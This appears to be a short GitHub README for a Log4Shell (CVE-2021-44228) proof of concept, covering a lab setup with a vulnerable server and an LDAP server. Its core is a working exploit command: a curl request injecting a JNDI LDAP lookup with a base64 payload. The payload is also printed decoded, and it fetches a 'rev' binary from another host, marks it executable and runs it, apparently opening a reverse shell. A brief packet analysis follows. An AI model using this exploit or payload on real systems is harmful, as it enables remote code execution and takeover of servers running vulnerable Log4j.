sumitpathania03/log4j-cve-2021-44228Proof-of-concept for Log4Shell (CVE-2021-44228) demonstrating remote code execution via JNDI injection, including vulnerable server setup, exploit command, and packet analysis.
Log4Shell — also known as CVE-2021-44228 — is a critical vulnerability that enables remote code execution in systems using the Apache Foundation’s Log4j, which is an open-source Java library that is extensively used in commercial and open-source software products and utilities
POC Anaylsis
The vulnerable Server is running on port 8080
And the ldap server is running on two ports http 8888 and ldap 1389
EXPLOIT COMMAND
curl 172.17.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/d2dldCBodHRwczovLzEwLjAuMi4xNTo4MDAwL3JldiAtTyAvdG1wL3JldiAmJiBjaG1vZCAreCAvdG1wL3JldiAmJiAvdG1wL3Jldg==}'
{
172.17.0.2:8080 -- Vulnerable Server IP
172.17.0.1:1389 -- LDAP Server IP
Base64 -- d2dldCBodHRwczovLzEwLjAuMi4xNTo4MDAwL3JldiAtTyAvdG1wL3JldiAmJiBjaG1vZCAreCAvdG1wL3JldiAmJiAvdG1wL3Jldg==
Decrypted Command - wget https://10.0.2.15:8000/rev -O /tmp/rev && chmod +x /tmp/rev && /tmp/rev
}
PACKET ANALYSIS
AS WE CAN SEE IN THE PACKETS THAT THE SERVER IS SENDING A GET REQUEST FOR A CLASS TO LDAP SERVER , IF WE CHECK THE EXPLOIT CLASS THEN WE CAN SEE THAT LDAP SERVER IS SENDING THE DECRYPTED COMMAND IN THE EXPLOIT CLASS.
Ref
